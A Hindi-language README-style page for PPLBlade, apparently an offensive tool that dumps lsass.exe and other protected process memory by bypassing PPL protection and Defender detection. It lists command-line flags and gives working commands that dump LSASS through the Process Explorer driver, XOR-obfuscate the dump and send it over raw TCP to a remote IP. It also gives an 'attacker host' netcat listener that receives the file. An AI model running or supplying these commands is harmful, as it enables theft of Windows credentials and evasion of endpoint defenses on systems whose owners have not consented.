PPLBlade

प्रोटेक्टेड प्रोसेस डंपर टूल जो मेमोरी डंप को अस्पष्ट (obfuscate) करने और उसे डिस्क पर गिराए बिना रिमोट वर्कस्टेशन पर स्थानांतरित करने में सहायता करता है।

मुख्य कार्यक्षमताएँ:

PPL सुरक्षा को बायपास करना
मेमोरी डंप फ़ाइलों को अस्पष्ट (obfuscate) करके Defender के सिग्नेचर-आधारित डिटेक्शन तंत्र को बायपास करना
RAW और SMB अपलोड विधियों का उपयोग करके मेमोरी डंप को डिस्क पर गिराए बिना अपलोड करना (फ़ाइललेस डंप)

इस टूल में उपयोग की गई तकनीकों का अवलोकन यहाँ पाया जा सकता है: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

ध्यान दें कि PROCEXP15.SYS स्रोत फ़ाइलों में संकलन उद्देश्यों के लिए सूचीबद्ध है। इसे लक्ष्य मशीन पर PPLBlade.exe के साथ स्थानांतरित करने की आवश्यकता नहीं है।

यह पहले से ही PPLBlade.exe में एम्बेडेड है। एक्सप्लॉइट केवल एक एकल निष्पादन योग्य फ़ाइल है।

मोड:

Dump - PID या प्रोसेस नाम का उपयोग करके प्रोसेस मेमोरी डंप करें
Decrypt - अस्पष्ट (--obfuscate) डंप फ़ाइल को उसकी मूल स्थिति में वापस लाएँ
Cleanup - मैन्युअल रूप से सफाई करें, यदि निष्पादन के दौरान कुछ गलत हो जाता है (ध्यान दें कि विकल्प मान उसी प्रकार के होने चाहिए जैसे निष्पादन के लिए थे, जिसे हम साफ करने का प्रयास कर रहे हैं)
DoThatLsassThing - प्रोसेस एक्सप्लोरर ड्राइवर का उपयोग करके lsass.exe डंप करें (मूल पीओसी)

हैंडल मोड:

Direct - OpenProcess() फ़ंक्शन का उपयोग करके सीधे PROCESS_ALL_ACCESS हैंडल खोलता है
Procexp - हैंडल प्राप्त करने के लिए PROCEXP152.sys का उपयोग करता है

Usage of PPLBlade.exe:
  -driver string
        Path where the driver file will be dropped (default: current directory)
  -dumpmode string
        Dump mode [local|network] (default "local")
  -dumpname string
        Name of the dump file (default "PPLBlade.dmp")
  -handle string
        Method to obtain target process handle [direct|procexp] (default "direct")
  -help
        Prints this help message
  -ip string
        IP of the remote server
  -key string
        XOR Key for obfuscation (default "PPLBlade")
  -mode string
        Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
  -name string
        Process name of target process
  -network string
        Method for network transfer[raw|smb] (default "raw")
  -obfuscate
        Obfuscate dump file
  -pass string
        SMB password
  -pid int
        PID of target process (prioritized over process name)
  -port int
        PORT on the remote server
  -quiet
        Quiet mode
  -service string
        Name of the service (default "PPLBlade")
  -share string
        share name
  -user string
        SMB username

Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup

उदाहरण:

प्रोसेस एक्सप्लोरर ड्राइवर (PROCEXP152.sys) का उपयोग करके lsass डंप करने वाला मूल POC:

PPLBlade.exe --mode dothatlsassthing

(ध्यान दें कि यह डंप फ़ाइल को XOR नहीं करता, XOR कार्यक्षमता सक्षम करने के लिए अतिरिक्त obfuscate फ़्लैग प्रदान करें)

अस्पष्ट LSASS डंप को रिमोट स्थान पर अपलोड करें:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

हमलावर होस्ट:

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

मेमोरी डंप को डिऑबफस्केट करें:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

PPLBlade

सबसे लोकप्रिय

PPLBlade